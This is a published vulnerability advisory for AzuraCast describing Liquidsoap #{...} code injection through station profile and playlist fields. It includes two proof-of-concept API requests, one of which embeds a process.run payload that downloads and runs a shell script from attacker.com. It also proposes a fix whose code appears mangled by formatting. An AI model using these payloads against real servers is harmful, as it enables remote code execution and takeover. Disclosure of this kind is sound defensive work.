PT-2026-26498 · Packagist · Azuracast/Azuracast
Published
2026-03-09
·
Updated
2026-03-09
CVSS v3.1
8.7
High
| Vector | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
Summary
AzuraCast's
ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.Root Cause
File:
backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345php
public static function cleanUpString(?string $string): string
{
return str replace(['"', "
", "r"], [''', '', ''], $string ?? '');
}This function only replaces
" with ' and strips newlines. It does NOT filter:#{...}— Liquidsoap string interpolation (evaluated as code inside double-quoted strings)- `` — Backslash escape character
Liquidsoap, like Ruby, evaluates
#{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.Injection Points
All user-controllable fields that pass through
cleanUpString() and are embedded in double-quoted strings in the .liq config:| Field | Permission Required | Config Line |
|---|---|---|
playlist.remote url | Media | input.http("...") or playlist("...") |
station.name | Profile | name = "..." |
station.description | Profile | description = "..." |
station.genre | Profile | genre = "..." |
station.url | Profile | url = "..." |
backend config.live broadcast text | Profile | settings.azuracast.live broadcast text := "..." |
backend config.dj mount point | Profile | input.harbor("...") |
PoC 1: Via Remote Playlist URL (Media permission)
http
POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API KEY WITH MEDIA PERMISSION>
{
"name": "Malicious Remote",
"source": "remote url",
"remote url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
"remote type": "stream",
"is enabled": true
}The generated
liquidsoap.liq will contain:liquidsoap
mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))When Liquidsoap parses this,
process.run('id > /tmp/pwned') executes as the azuracast user.PoC 2: Via Station Description (Profile permission)
http
PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API KEY WITH PROFILE PERMISSION>
{
"name": "My Station",
"description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}Generates:
liquidsoap
description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"Trigger Condition
The injection fires when the station is restarted, which happens during:
- Normal station restart by any user with
Broadcastingpermission - System updates and maintenance
azuracast:radio:restartCLI command- Docker container restarts
Impact
- Severity: Critical
- Authentication: Required — any station-level user with
MediaorProfilepermission - Impact: Full RCE on the AzuraCast server as the
azuracastuser - CWE: CWE-94 (Code Injection)
Recommended Fix
Update
cleanUpString() to escape # and ``:php
public static function cleanUpString(?string $string): string
{
return str replace(
['"', "
", "r", '', '#'],
[''', '', '', '', '#'],
$string ?? ''
);
}Fix
Code Injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Azuracast/Azuracast